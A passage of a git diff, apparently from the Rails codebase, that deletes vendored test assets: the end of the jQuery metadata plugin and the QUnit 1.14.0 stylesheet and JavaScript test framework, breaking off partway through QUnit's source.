-			var data = $.data(elem, settings.single);
-			// returned cached data if it already exists
-			if ( data ) return data;
-			
-			data = "{}";
-			
-			if ( settings.type == "class" ) {
-				var m = settings.cre.exec( elem.className );
-				if ( m )
-					data = m[1];
-			} else if ( settings.type == "elem" ) {
-				if( !elem.getElementsByTagName )
-					return undefined;
-				var e = elem.getElementsByTagName(settings.name);
-				if ( e.length )
-					data = $.trim(e[0].innerHTML);
-			} else if ( elem.getAttribute != undefined ) {
-				var attr = elem.getAttribute( settings.name );
-				if ( attr )
-					data = attr;
-			}
-			
-			if ( data.indexOf( '{' ) <0 )
-			data = "{" + data + "}";
-			
-			data = eval("(" + data + ")");
-			
-			$.data( elem, settings.single, data );
-			return data;
-		}
-	}
-});
-
-/**
- * Returns the metadata object for the first member of the jQuery object.
- *
- * @name metadata
- * @descr Returns element's metadata object
- * @param Object opts An object containing settings to override the defaults
- * @type jQuery
- * @cat Plugins/Metadata
- */
-$.fn.metadata = function( opts ){
-	return $.metadata.get( this[0], opts );
-};
-
-})(jQuery);
\ No newline at end of file
diff --git a/actionview/test/ujs/public/vendor/qunit.css b/actionview/test/ujs/public/vendor/qunit.css
deleted file mode 100644
index 93026e3ba3f6d..0000000000000
--- a/actionview/test/ujs/public/vendor/qunit.css
+++ /dev/null
@@ -1,237 +0,0 @@
-/*!
- * QUnit 1.14.0
- * http://qunitjs.com/
- *
- * Copyright 2013 jQuery Foundation and other contributors
- * Released under the MIT license
- * http://jquery.org/license
- *
- * Date: 2014-01-31T16:40Z
- */
-
-/** Font Family and Sizes */
-
-#qunit-tests, #qunit-header, #qunit-banner, #qunit-testrunner-toolbar, #qunit-userAgent, #qunit-testresult {
-	font-family: "Helvetica Neue Light", "HelveticaNeue-Light", "Helvetica Neue", Calibri, Helvetica, Arial, sans-serif;
-}
-
-#qunit-testrunner-toolbar, #qunit-userAgent, #qunit-testresult, #qunit-tests li { font-size: small; }
-#qunit-tests { font-size: smaller; }
-
-
-/** Resets */
-
-#qunit-tests, #qunit-header, #qunit-banner, #qunit-userAgent, #qunit-testresult, #qunit-modulefilter {
-	margin: 0;
-	padding: 0;
-}
-
-
-/** Header */
-
-#qunit-header {
-	padding: 0.5em 0 0.5em 1em;
-
-	color: #8699A4;
-	background-color: #0D3349;
-
-	font-size: 1.5em;
-	line-height: 1em;
-	font-weight: 400;
-
-	border-radius: 5px 5px 0 0;
-}
-
-#qunit-header a {
-	text-decoration: none;
-	color: #C2CCD1;
-}
-
-#qunit-header a:hover,
-#qunit-header a:focus {
-	color: #FFF;
-}
-
-#qunit-testrunner-toolbar label {
-	display: inline-block;
-	padding: 0 0.5em 0 0.1em;
-}
-
-#qunit-banner {
-	height: 5px;
-}
-
-#qunit-testrunner-toolbar {
-	padding: 0.5em 0 0.5em 2em;
-	color: #5E740B;
-	background-color: #EEE;
-	overflow: hidden;
-}
-
-#qunit-userAgent {
-	padding: 0.5em 0 0.5em 2.5em;
-	background-color: #2B81AF;
-	color: #FFF;
-	text-shadow: rgba(0, 0, 0, 0.5) 2px 2px 1px;
-}
-
-#qunit-modulefilter-container {
-	float: right;
-}
-
-/** Tests: Pass/Fail */
-
-#qunit-tests {
-	list-style-position: inside;
-}
-
-#qunit-tests li {
-	padding: 0.4em 0.5em 0.4em 2.5em;
-	border-bottom: 1px solid #FFF;
-	list-style-position: inside;
-}
-
-#qunit-tests.hidepass li.pass, #qunit-tests.hidepass li.running  {
-	display: none;
-}
-
-#qunit-tests li strong {
-	cursor: pointer;
-}
-
-#qunit-tests li a {
-	padding: 0.5em;
-	color: #C2CCD1;
-	text-decoration: none;
-}
-#qunit-tests li a:hover,
-#qunit-tests li a:focus {
-	color: #000;
-}
-
-#qunit-tests li .runtime {
-	float: right;
-	font-size: smaller;
-}
-
-.qunit-assert-list {
-	margin-top: 0.5em;
-	padding: 0.5em;
-
-	background-color: #FFF;
-
-	border-radius: 5px;
-}
-
-.qunit-collapsed {
-	display: none;
-}
-
-#qunit-tests table {
-	border-collapse: collapse;
-	margin-top: 0.2em;
-}
-
-#qunit-tests th {
-	text-align: right;
-	vertical-align: top;
-	padding: 0 0.5em 0 0;
-}
-
-#qunit-tests td {
-	vertical-align: top;
-}
-
-#qunit-tests pre {
-	margin: 0;
-	white-space: pre-wrap;
-	word-wrap: break-word;
-}
-
-#qunit-tests del {
-	background-color: #E0F2BE;
-	color: #374E0C;
-	text-decoration: none;
-}
-
-#qunit-tests ins {
-	background-color: #FFCACA;
-	color: #500;
-	text-decoration: none;
-}
-
-/*** Test Counts */
-
-#qunit-tests b.counts                       { color: #000; }
-#qunit-tests b.passed                       { color: #5E740B; }
-#qunit-tests b.failed                       { color: #710909; }
-
-#qunit-tests li li {
-	padding: 5px;
-	background-color: #FFF;
-	border-bottom: none;
-	list-style-position: inside;
-}
-
-/*** Passing Styles */
-
-#qunit-tests li li.pass {
-	color: #3C510C;
-	background-color: #FFF;
-	border-left: 10px solid #C6E746;
-}
-
-#qunit-tests .pass                          { color: #528CE0; background-color: #D2E0E6; }
-#qunit-tests .pass .test-name               { color: #366097; }
-
-#qunit-tests .pass .test-actual,
-#qunit-tests .pass .test-expected           { color: #999; }
-
-#qunit-banner.qunit-pass                    { background-color: #C6E746; }
-
-/*** Failing Styles */
-
-#qunit-tests li li.fail {
-	color: #710909;
-	background-color: #FFF;
-	border-left: 10px solid #EE5757;
-	white-space: pre;
-}
-
-#qunit-tests > li:last-child {
-	border-radius: 0 0 5px 5px;
-}
-
-#qunit-tests .fail                          { color: #000; background-color: #EE5757; }
-#qunit-tests .fail .test-name,
-#qunit-tests .fail .module-name             { color: #000; }
-
-#qunit-tests .fail .test-actual             { color: #EE5757; }
-#qunit-tests .fail .test-expected           { color: #008000; }
-
-#qunit-banner.qunit-fail                    { background-color: #EE5757; }
-
-
-/** Result */
-
-#qunit-testresult {
-	padding: 0.5em 0.5em 0.5em 2.5em;
-
-	color: #2B81AF;
-	background-color: #D2E0E6;
-
-	border-bottom: 1px solid #FFF;
-}
-#qunit-testresult .module-name {
-	font-weight: 700;
-}
-
-/** Fixture */
-
-#qunit-fixture {
-	position: absolute;
-	top: -10000px;
-	left: -10000px;
-	width: 1000px;
-	height: 1000px;
-}
diff --git a/actionview/test/ujs/public/vendor/qunit.js b/actionview/test/ujs/public/vendor/qunit.js
deleted file mode 100644
index 0e279fde17024..0000000000000
--- a/actionview/test/ujs/public/vendor/qunit.js
+++ /dev/null
@@ -1,2288 +0,0 @@
-/*!
- * QUnit 1.14.0
- * http://qunitjs.com/
- *
- * Copyright 2013 jQuery Foundation and other contributors
- * Released under the MIT license
- * http://jquery.org/license
- *
- * Date: 2014-01-31T16:40Z
- */
-
-(function( window ) {
-
-var QUnit,
-	assert,
-	config,
-	onErrorFnPrev,
-	testId = 0,
-	fileName = (sourceFromStacktrace( 0 ) || "" ).replace(/(:\d+)+\)?/, "").replace(/.+\//, ""),
-	toString = Object.prototype.toString,
-	hasOwn = Object.prototype.hasOwnProperty,
-	// Keep a local reference to Date (GH-283)
-	Date = window.Date,
-	setTimeout = window.setTimeout,
-	clearTimeout = window.clearTimeout,
-	defined = {
-		document: typeof window.document !== "undefined",
-		setTimeout: typeof window.setTimeout !== "undefined",
-		sessionStorage: (function() {
-			var x = "qunit-test-string";
-			try {
-				sessionStorage.setItem( x, x );
-				sessionStorage.removeItem( x );
-				return true;
-			} catch( e ) {
-				return false;
-			}
-		}())
-	},
-	/**
-	 * Provides a normalized error string, correcting an issue
-	 * with IE 7 (and prior) where Error.prototype.toString is
-	 * not properly implemented
-	 *
-	 * Based on http://es5.github.com/#x15.11.4.4
-	 *
-	 * @param {String|Error} error
-	 * @return {String} error message
-	 */
-	errorString = function( error ) {
-		var name, message,
-			errorString = error.toString();
-		if ( errorString.substring( 0, 7 ) === "[object" ) {
-			name = error.name ? error.name.toString() : "Error";
-			message = error.message ? error.message.toString() : "";
-			if ( name && message ) {
-				return name + ": " + message;
-			} else if ( name ) {
-				return name;
-			} else if ( message ) {
-				return message;
-			} else {
-				return "Error";
-			}
-		} else {
-			return errorString;
-		}
-	},
-	/**
-	 * Makes a clone of an object using only Array or Object as base,
-	 * and copies over the own enumerable properties.
-	 *
-	 * @param {Object} obj
-	 * @return {Object} New object with only the own properties (recursively).
-	 */
-	objectValues = function( obj ) {
-		// Grunt 0.3.x uses an older version of jshint that still has jshint/jshint#392.
-		/*jshint newcap: false */
-		var key, val,
-			vals = QUnit.is( "array", obj ) ? [] : {};
-		for ( key in obj ) {
-			if ( hasOwn.call( obj, key ) ) {
-				val = obj[key];
-				vals[key] = val === Object(val) ? objectValues(val) : val;
-			}
-		}
-		return vals;
-	};
-
-
-// Root QUnit object.
-// `QUnit` initialized at top of scope
-QUnit = {
-
-	// call on start of module test to prepend name to all tests
-	module: function( name, testEnvironment ) {
-		config.currentModule = name;
-		config.currentModuleTestEnvironment = testEnvironment;
-		config.modules[name] = true;
-	},
-
-	asyncTest: function( testName, expected, callback ) {
-		if ( arguments.length === 2 ) {
-			callback = expected;
-			expected = null;
-		}
-
-		QUnit.test( testName, expected, callback, true );
-	},
-
-	test: function( testName, expected, callback, async ) {
-		var test,
-			nameHtml = "<span class='test-name'>" + escapeText( testName ) + "</span>";
-
-		if ( arguments.length === 2 ) {
-			callback = expected;
-			expected = null;
-		}
-
-		if ( config.currentModule ) {
-			nameHtml = "<span class='module-name'>" + escapeText( config.currentModule ) + "</span>: " + nameHtml;
-		}
-
-		test = new Test({
-			nameHtml: nameHtml,
-			testName: testName,
-			expected: expected,
-			async: async,
-			callback: callback,
-			module: config.currentModule,
-			moduleTestEnvironment: config.currentModuleTestEnvironment,
-			stack: sourceFromStacktrace( 2 )
-		});
-
-		if ( !validTest( test ) ) {
-			return;
-		}
-
-		test.queue();
-	},
-
-	// Specify the number of expected assertions to guarantee that failed test (no assertions are run at all) don't slip through.
-	expect: function( asserts ) {
-		if (arguments.length === 1) {
-			config.current.expected = asserts;
-		} else {
-			return config.current.expected;
-		}
-	},
-
-	start: function( count ) {
-		// QUnit hasn't been initialized yet.
-		// Note: RequireJS (et al) may delay onLoad
-		if ( config.semaphore === undefined ) {
-			QUnit.begin(function() {
-				// This is triggered at the top of QUnit.load, push start() to the event loop, to allow QUnit.load to finish first
-				setTimeout(function() {
-					QUnit.start( count );
-				});
-			});
-			return;
-		}
-
-		config.semaphore -= count || 1;
-		// don't start until equal number of stop-calls
-		if ( config.semaphore > 0 ) {
-			return;
-		}
-		// ignore if start is called more often then stop
-		if ( config.semaphore < 0 ) {
-			config.semaphore = 0;
-			QUnit.pushFailure( "Called start() while already started (QUnit.config.semaphore was 0 already)", null, sourceFromStacktrace(2) );
-			return;
-		}
-		// A slight delay, to avoid any current callbacks
-		if ( defined.setTimeout ) {
-			setTimeout(function() {
-				if ( config.semaphore > 0 ) {
-					return;
-				}
-				if ( config.timeout ) {
-					clearTimeout( config.timeout );
-				}
-
-				config.blocking = false;
-				process( true );
-			}, 13);
-		} else {
-			config.blocking = false;
-			process( true );
-		}
-	},
-
-	stop: function( count ) {
-		config.semaphore += count || 1;
-		config.blocking = true;
-
-		if ( config.testTimeout && defined.setTimeout ) {
-			clearTimeout( config.timeout );
-			config.timeout = setTimeout(function() {
-				QUnit.ok( false, "Test timed out" );
-				config.semaphore = 1;
-				QUnit.start();
-			}, config.testTimeout );
-		}
-	}
-};
-
-// We use the prototype to distinguish between properties that should
-// be exposed as globals (and in exports) and those that shouldn't
-(function() {
-	function F() {}
-	F.prototype = QUnit;
-	QUnit = new F();
-	// Make F QUnit's constructor so that we can add to the prototype later
-	QUnit.constructor = F;
-}());
-
-/**
- * Config object: Maintain internal state
- * Later exposed as QUnit.config
- * `config` initialized at top of scope
- */
-config = {
-	// The queue of tests to run
-	queue: [],
-
-	// block until document ready
-	blocking: true,
-
-	// when enabled, show only failing tests
-	// gets persisted through sessionStorage and can be changed in UI via checkbox
-	hidepassed: false,
-
-	// by default, run previously failed tests first
-	// very useful in combination with "Hide passed tests" checked
-	reorder: true,
-
-	// by default, modify document.title when suite is done
-	altertitle: true,
-
-	// by default, scroll to top of the page when suite is done
-	scrolltop: true,
-
-	// when enabled, all tests must call expect()
-	requireExpects: false,
-
-	// add checkboxes that are persisted in the query-string
-	// when enabled, the id is set to `true` as a `QUnit.config` property
-	urlConfig: [
-		{
-			id: "noglobals",
-			label: "Check for Globals",
-			tooltip: "Enabling this will test if any test introduces new properties on the `window` object. Stored as query-strings."
-		},
-		{
-			id: "notrycatch",
-			label: "No try-catch",
-			tooltip: "Enabling this will run tests outside of a try-catch block. Makes debugging exceptions in IE reasonable. Stored as query-strings."
-		}
-	],
-
-	// Set of all modules.
-	modules: {},
-
-	// logging callback queues
-	begin: [],
-	done: [],
-	log: [],
-	testStart: [],
-	testDone: [],
-	moduleStart: [],
-	moduleDone: []
-};
-
-// Initialize more QUnit.config and QUnit.urlParams
-(function() {
-	var i, current,
-		location = window.location || { search: "", protocol: "file:" },
-		params = location.search.slice( 1 ).split( "&" ),
-		length = params.length,
-		urlParams = {};
-
-	if ( params[ 0 ] ) {
-		for ( i = 0; i < length; i++ ) {
-			current = params[ i ].split( "=" );
-			current[ 0 ] = decodeURIComponent( current[ 0 ] );
-
-			// allow just a key to turn on a flag, e.g., test.html?noglobals
-			current[ 1 ] = current[ 1 ] ? decodeURIComponent( current[ 1 ] ) : true;
-			if ( urlParams[ current[ 0 ] ] ) {
-				urlParams[ current[ 0 ] ] = [].concat( urlParams[ current[ 0 ] ], current[ 1 ] );
-			} else {
-				urlParams[ current[ 0 ] ] = current[ 1 ];
-			}
-		}
-	}
-
-	QUnit.urlParams = urlParams;
-
-	// String search anywhere in moduleName+testName
-	config.filter = urlParams.filter;
-
-	// Exact match of the module name
-	config.module = urlParams.module;
-
-	config.testNumber = [];
-	if ( urlParams.testNumber ) {
-
-		// Ensure that urlParams.testNumber is an array
-		urlParams.testNumber = [].concat( urlParams.testNumber );
-		for ( i = 0; i < urlParams.testNumber.length; i++ ) {
-			current = urlParams.testNumber[ i ];
-			config.testNumber.push( parseInt( current, 10 ) );
-		}
-	}
-
-	// Figure out if we're running the tests from a server or not
-	QUnit.isLocal = location.protocol === "file:";
-}());
-
-extend( QUnit, {
-
-	config: config,
-
-	// Initialize the configuration options
-	init: function() {
-		extend( config, {
-			stats: { all: 0, bad: 0 },
-			moduleStats: { all: 0, bad: 0 },
-			started: +new Date(),
-			updateRate: 1000,
-			blocking: false,
-			autostart: true,
-			autorun: false,
-			filter: "",
-			queue: [],
-			semaphore: 1
-		});
-
-		var tests, banner, result,
-			qunit = id( "qunit" );
-
-		if ( qunit ) {
-			qunit.innerHTML =
-				"<h1 id='qunit-header'>" + escapeText( document.title ) + "</h1>" +
-				"<h2 id='qunit-banner'></h2>" +
-				"<div id='qunit-testrunner-toolbar'></div>" +
-				"<h2 id='qunit-userAgent'></h2>" +
-				"<ol id='qunit-tests'></ol>";
-		}
-
-		tests = id( "qunit-tests" );
-		banner = id( "qunit-banner" );
-		result = id( "qunit-testresult" );
-
-		if ( tests ) {
-			tests.innerHTML = "";
-		}
-
-		if ( banner ) {
-			banner.className = "";
-		}
-
-		if ( result ) {
-			result.parentNode.removeChild( result );
-		}
-
-		if ( tests ) {
-			result = document.createElement( "p" );
-			result.id = "qunit-testresult";
-			result.className = "result";
-			tests.parentNode.insertBefore( result, tests );
-			result.innerHTML = "Running...<br/>&nbsp;";
-		}
-	},
-
-	// Resets the test setup. Useful for tests that modify the DOM.
-	/*
-	DEPRECATED: Use multiple tests instead of resetting inside a test.
-	Use testStart or testDone for custom cleanup.
-	This method will throw an error in 2.0, and will be removed in 2.1
-	*/
-	reset: function() {
-		var fixture = id( "qunit-fixture" );
-		if ( fixture ) {
-			fixture.innerHTML = config.fixture;
-		}
-	},
-
-	// Safe object type checking
-	is: function( type, obj ) {
-		return QUnit.objectType( obj ) === type;
-	},
-
-	objectType: function( obj ) {
-		if ( typeof obj === "undefined" ) {
-			return "undefined";
-		}
-
-		// Consider: typeof null === object
-		if ( obj === null ) {
-			return "null";
-		}
-
-		var match = toString.call( obj ).match(/^\[object\s(.*)\]$/),
-			type = match && match[1] || "";
-
-		switch ( type ) {
-			case "Number":
-				if ( isNaN(obj) ) {
-					return "nan";
-				}
-				return "number";
-			case "String":
-			case "Boolean":
-			case "Array":
-			case "Date":
-			case "RegExp":
-			case "Function":
-				return type.toLowerCase();
-		}
-		if ( typeof obj === "object" ) {
-			return "object";
-		}
-		return undefined;
-	},
-
-	push: function( result, actual, expected, message ) {
-		if ( !config.current ) {
-			throw new Error( "assertion outside test context, was " + sourceFromStacktrace() );
-		}
-
-		var output, source,
-			details = {
-				module: config.current.module,
-				name: config.current.testName,
-				result: result,
-				message: message,
-				actual: actual,
-				expected: expected
-			};
-
-		message = escapeText( message ) || ( result ? "okay" : "failed" );
-		message = "<span class='test-message'>" + message + "</span>";
-		output = message;
-
-		if ( !result ) {
-			expected = escapeText( QUnit.jsDump.parse(expected) );
-			actual = escapeText( QUnit.jsDump.parse(actual) );
-			output += "<table><tr class='test-expected'><th>Expected: </th><td><pre>" + expected + "</pre></td></tr>";
-
-			if ( actual !== expected ) {
-				output += "<tr class='test-actual'><th>Result: </th><td><pre>" + actual + "</pre></td></tr>";
-				output += "<tr class='test-diff'><th>Diff: </th><td><pre>" + QUnit.diff( expected, actual ) + "</pre></td></tr>";
-			}
-
-			source = sourceFromStacktrace();
-
-			if ( source ) {
-				details.source = source;
-				output += "<tr class='test-source'><th>Source: </th><td><pre>" + escapeText( source ) + "</pre></td></tr>";
-			}
-
-			output += "</table>";
-		}
-
-		runLoggingCallbacks( "log", QUnit, details );
-
-		config.current.assertions.push({
-			result: !!result,
-			message: output
-		});
-	},
-
-	pushFailure: function( message, source, actual ) {
-		if ( !config.current ) {
-			throw new Error( "pushFailure() assertion outside test context, was " + sourceFromStacktrace(2) );
-		}
-
-		var output,
-			details = {
-				module: config.current.module,
-				name: config.current.testName,
-				result: false,
-				message: message
-			};
-
-		message = escapeText( message ) || "error";
-		message = "<span class='test-message'>" + message + "</span>";
-		output = message;
-
-		output += "<table>";
-
-		if ( actual ) {
-			output += "<tr class='test-actual'><th>Result: </th><td><pre>" + escapeText( actual ) + "</pre></td></tr>";
-		}
-
-		if ( source ) {
-			details.source = source;
-			output += "<tr class='test-source'><th>Source: </th><td><pre>" + escapeText( source ) + "</pre></td></tr>";
-		}
-
-		output += "</table>";
-
-		runLoggingCallbacks( "log", QUnit, details );
-
-		config.current.assertions.push({
-			result: false,
-			message: output
-		});
-	},
-
-	url: function( params ) {
-		params = extend( extend( {}, QUnit.urlParams ), params );
-		var key,
-			querystring = "?";
-
-		for ( key in params ) {
-			if ( hasOwn.call( params, key ) ) {
-				querystring += encodeURIComponent( key ) + "=" +
-					encodeURIComponent( params[ key ] ) + "&";
-			}
-		}
-		return window.location.protocol + "//" + window.location.host +
-			window.location.pathname + querystring.slice( 0, -1 );
-	},
-
-	extend: extend,
-	id: id,
-	addEvent: addEvent,
-	addClass: addClass,
-	hasClass: hasClass,
-	removeClass: removeClass
-	// load, equiv, jsDump, diff: Attached later
-});
-
-/**
- * @deprecated: Created for backwards compatibility with test runner that set the hook function
- * into QUnit.{hook}, instead of invoking it and passing the hook function.
- * QUnit.constructor is set to the empty F() above so that we can add to it's prototype here.
- * Doing this allows us to tell if the following methods have been overwritten on the actual
- * QUnit object.
- */
-extend( QUnit.constructor.prototype, {
-
-	// Logging callbacks; all receive a single argument with the listed properties
-	// run test/logs.html for any related changes
-	begin: registerLoggingCallback( "begin" ),
-
-	// done: { failed, passed, total, runtime }
-	done: registerLoggingCallback( "done" ),
-
-	// log: { result, actual, expected, message }
-	log: registerLoggingCallback( "log" ),
-
-	// testStart: { name }
-	testStart: registerLoggingCallback( "testStart" ),
-
-	// testDone: { name, failed, passed, total, runtime }
-	testDone: registerLoggingCallback( "testDone" ),
-
-	// moduleStart: { name }
-	moduleStart: registerLoggingCallback( "moduleStart" ),
-
-	// moduleDone: { name, failed, passed, total }
-	moduleDone: registerLoggingCallback( "moduleDone" )
-});
-
-if ( !defined.document || document.readyState === "complete" ) {
-	config.autorun = true;
-}
-
-QUnit.load = function() {
-	runLoggingCallbacks( "begin", QUnit, {} );
-
-	// Initialize the config, saving the execution queue
-	var banner, filter, i, j, label, len, main, ol, toolbar, val, selection,
-		urlConfigContainer, moduleFilter, userAgent,
-		numModules = 0,
-		moduleNames = [],
-		moduleFilterHtml = "",
-		urlConfigHtml = "",
-		oldconfig = extend( {}, config );
-
-	QUnit.init();
-	extend(config, oldconfig);
-
-	config.blocking = false;
-
-	len = config.urlConfig.length;
-
-	for ( i = 0; i < len; i++ ) {
-		val = config.urlConfig[i];
-		if ( typeof val === "string" ) {
-			val = {
-				id: val,
-				label: val
-			};
-		}
-		config[ val.id ] = QUnit.urlParams[ val.id ];
-		if ( !val.value || typeof val.value === "string" ) {
-			urlConfigHtml += "<input id='qunit-urlconfig-" + escapeText( val.id ) +
-				"' name='" + escapeText( val.id ) +
-				"' type='checkbox'" +
-				( val.value ? " value='" + escapeText( val.value ) + "'" : "" ) +
-				( config[ val.id ] ? " checked='checked'" : "" ) +
-				" title='" + escapeText( val.tooltip ) +
-				"'><label for='qunit-urlconfig-" + escapeText( val.id ) +
-				"' title='" + escapeText( val.tooltip ) + "'>" + val.label + "</label>";
-		} else {
-			urlConfigHtml += "<label for='qunit-urlconfig-" + escapeText( val.id ) +
-				"' title='" + escapeText( val.tooltip ) +
-				"'>" + val.label +
-				": </label><select id='qunit-urlconfig-" + escapeText( val.id ) +
-				"' name='" + escapeText( val.id ) +
-				"' title='" + escapeText( val.tooltip ) +
-				"'><option></option>";
-			selection = false;
-			if ( QUnit.is( "array", val.value ) ) {
-				for ( j = 0; j < val.value.length; j++ ) {
-					urlConfigHtml += "<option value='" + escapeText( val.value[j] ) + "'" +
-						( config[ val.id ] === val.value[j] ?
-							(selection = true) && " selected='selected'" :
-							"" ) +
-						">" + escapeText( val.value[j] ) + "</option>";
-				}
-			} else {
-				for ( j in val.value ) {
-					if ( hasOwn.call( val.value, j ) ) {
-						urlConfigHtml += "<option value='" + escapeText( j ) + "'" +
-							( config[ val.id ] === j ?
-								(selection = true) && " selected='selected'" :
-								"" ) +
-							">" + escapeText( val.value[j] ) + "</option>";
-					}
-				}
-			}
-			if ( config[ val.id ] && !selection ) {
-				urlConfigHtml += "<option value='" + escapeText( config[ val.id ] ) +
-					"' selected='selected' disabled='disabled'>" +
-					escapeText( config[ val.id ] ) +
-					"</option>";
-			}
-			urlConfigHtml += "</select>";
-		}
-	}
-	for ( i in config.modules ) {
-		if ( config.modules.hasOwnProperty( i ) ) {
-			moduleNames.push(i);
-		}
-	}
-	numModules = moduleNames.length;
-	moduleNames.sort( function( a, b ) {
-		return a.localeCompare( b );
-	});
-	moduleFilterHtml += "<label for='qunit-modulefilter'>Module: </label><select id='qunit-modulefilter' name='modulefilter'><option value='' " +
-		( config.module === undefined  ? "selected='selected'" : "" ) +
-		">< All Modules ></option>";
-
-
-	for ( i = 0; i < numModules; i++) {
-			moduleFilterHtml += "<option value='" + escapeText( encodeURIComponent(moduleNames[i]) ) + "' " +
-				( config.module === moduleNames[i] ? "selected='selected'" : "" ) +
-				">" + escapeText(moduleNames[i]) + "</option>";
-	}
-	moduleFilterHtml += "</select>";
-
-	// `userAgent` initialized at top of scope
-	userAgent = id( "qunit-userAgent" );
-	if ( userAgent ) {
-		userAgent.innerHTML = navigator.userAgent;
-	}
-
-	// `banner` initialized at top of scope
-	banner = id( "qunit-header" );
-	if ( banner ) {
-		banner.innerHTML = "<a href='" + QUnit.url({ filter: undefined, module: undefined, testNumber: undefined }) + "'>" + banner.innerHTML + "</a> ";
-	}
-
-	// `toolbar` initialized at top of scope
-	toolbar = id( "qunit-testrunner-toolbar" );
-	if ( toolbar ) {
-		// `filter` initialized at top of scope
-		filter = document.createElement( "input" );
-		filter.type = "checkbox";
-		filter.id = "qunit-filter-pass";
-
-		addEvent( filter, "click", function() {
-			var tmp,
-				ol = id( "qunit-tests" );
-
-			if ( filter.checked ) {
-				ol.className = ol.className + " hidepass";
-			} else {
-				tmp = " " + ol.className.replace( /[\n\t\r]/g, " " ) + " ";
-				ol.className = tmp.replace( / hidepass /, " " );
-			}
-			if ( defined.sessionStorage ) {
-				if (filter.checked) {
-					sessionStorage.setItem( "qunit-filter-passed-tests", "true" );
-				} else {
-					sessionStorage.removeItem( "qunit-filter-passed-tests" );
-				}
-			}
-		});
-
-		if ( config.hidepassed || defined.sessionStorage && sessionStorage.getItem( "qunit-filter-passed-tests" ) ) {
-			filter.checked = true;
-			// `ol` initialized at top of scope
-			ol = id( "qunit-tests" );
-			ol.className = ol.className + " hidepass";
-		}
-		toolbar.appendChild( filter );
-
-		// `label` initialized at top of scope
-		label = document.createElement( "label" );
-		label.setAttribute( "for", "qunit-filter-pass" );
-		label.setAttribute( "title", "Only show tests and assertions that fail. Stored in sessionStorage." );
-		label.innerHTML = "Hide passed tests";
-		toolbar.appendChild( label );
-
-		urlConfigContainer = document.createElement("span");
-		urlConfigContainer.innerHTML = urlConfigHtml;
-		// For oldIE support:
-		// * Add handlers to the individual elements instead of the container
-		// * Use "click" instead of "change" for checkboxes
-		// * Fallback from event.target to event.srcElement
-		addEvents( urlConfigContainer.getElementsByTagName("input"), "click", function( event ) {
-			var params = {},
-				target = event.target || event.srcElement;
-			params[ target.name ] = target.checked ?
-				target.defaultValue || true :
-				undefined;
-			window.location = QUnit.url( params );
-		});
-		addEvents( urlConfigContainer.getElementsByTagName("select"), "change", function( event ) {
-			var params = {},
-				target = event.target || event.srcElement;
-			params[ target.name ] = target.options[ target.selectedIndex ].value || undefined;
-			window.location = QUnit.url( params );
-		});
-		toolbar.appendChild( urlConfigContainer );
-
-		if (numModules > 1) {
-			moduleFilter = document.createElement( "span" );
-			moduleFilter.setAttribute( "id", "qunit-modulefilter-container" );
-			moduleFilter.innerHTML = moduleFilterHtml;
-			addEvent( moduleFilter.lastChild, "change", function() {
-				var selectBox = moduleFilter.getElementsByTagName("select")[0],
-					selectedModule = decodeURIComponent(selectBox.options[selectBox.selectedIndex].value);
-
-				window.location = QUnit.url({
-					module: ( selectedModule === "" ) ? undefined : selectedModule,
-					// Remove any existing filters
-					filter: undefined,
-					testNumber: undefined
-				});
-			});
-			toolbar.appendChild(moduleFilter);
-		}
-	}
-
-	// `main` initialized at top of scope
-	main = id( "qunit-fixture" );
-	if ( main ) {
-		config.fixture = main.innerHTML;
-	}
-
-	if ( config.autostart ) {
-		QUnit.start();
-	}
-};
-
-if ( defined.document ) {
-	addEvent( window, "load", QUnit.load );
-}
-
-// `onErrorFnPrev` initialized at top of scope
-// Preserve other handlers
-onErrorFnPrev = window.onerror;
-
-// Cover uncaught exceptions
-// Returning true will suppress the default browser handler,
-// returning false will let it run.
-window.onerror = function ( error, filePath, linerNr ) {
-	var ret = false;
-	if ( onErrorFnPrev ) {
-		ret = onErrorFnPrev( error, filePath, linerNr );
-	}
-
-	// Treat return value as window.onerror itself does,
-	// Only do our handling if not suppressed.
-	if ( ret !== true ) {
-		if ( QUnit.config.current ) {
-			if ( QUnit.config.current.ignoreGlobalErrors ) {
-				return true;
-			}
-			QUnit.pushFailure( error, filePath + ":" + linerNr );
-		} else {
-			QUnit.test( "global failure", extend( function() {
-				QUnit.pushFailure( error, filePath + ":" + linerNr );
-			}, { validTest: validTest } ) );
-		}
-		return false;
-	}
-
-	return ret;
-};
-
-function done() {
-	config.autorun = true;
-
-	// Log the last module results
-	if ( config.previousModule ) {
-		runLoggingCallbacks( "moduleDone", QUnit, {
-			name: config.previousModule,
-			failed: config.moduleStats.bad,
-			passed: config.moduleStats.all - config.moduleStats.bad,
-			total: config.moduleStats.all
-		});
-	}
-	delete config.previousModule;
-
-	var i, key,
-		banner = id( "qunit-banner" ),
-		tests = id( "qunit-tests" ),
-		runtime = +new Date() - config.started,
-		passed = config.stats.all - config.stats.bad,
-		html = [
-			"Tests completed in ",
-			runtime,
-			" milliseconds.<br/>",
-			"<span class='passed'>",
-			passed,
-			"</span> assertions of <span class='total'>",
-			config.stats.all,
-			"</span> passed, <span class='failed'>",
-			config.stats.bad,
-			"</span> failed."
-		].join( "" );
-
-	if ( banner ) {
-		banner.className = ( config.stats.bad ? "qunit-fail" : "qunit-pass" );
-	}
-
-	if ( tests ) {
-		id( "qunit-testresult" ).innerHTML = html;
-	}
-
-	if ( config.altertitle && defined.document && document.title ) {
-		// show ✖ for good, ✔ for bad suite result in title
-		// use escape sequences in case file gets loaded with non-utf-8-charset
-		document.title = [
-			( config.stats.bad ? "\u2716" : "\u2714" ),
-			document.title.replace( /^[\u2714\u2716] /i, "" )
-		].join( " " );
-	}
-
-	// clear own sessionStorage items if all tests passed
-	if ( config.reorder && defined.sessionStorage && config.stats.bad === 0 ) {
-		// `key` & `i` initialized at top of scope
-		for ( i = 0; i < sessionStorage.length; i++ ) {
-			key = sessionStorage.key( i++ );
-			if ( key.indexOf( "qunit-test-" ) === 0 ) {
-				sessionStorage.removeItem( key );
-			}
-		}
-	}
-
-	// scroll back to top to show results
-	if ( config.scrolltop && window.scrollTo ) {
-		window.scrollTo(0, 0);
-	}
-
-	runLoggingCallbacks( "done", QUnit, {
-		failed: config.stats.bad,
-		passed: passed,
-		total: config.stats.all,
-		runtime: runtime
-	});
-}
-
-/** @return Boolean: true if this test should be ran */
-function validTest( test ) {
-	var include,
-		filter = config.filter && config.filter.toLowerCase(),
-		module = config.module && config.module.toLowerCase(),
-		fullName = ( test.module + ": " + test.testName ).toLowerCase();
-
-	// Internally-generated tests are always valid
-	if ( test.callback && test.callback.validTest === validTest ) {
-		delete test.callback.validTest;
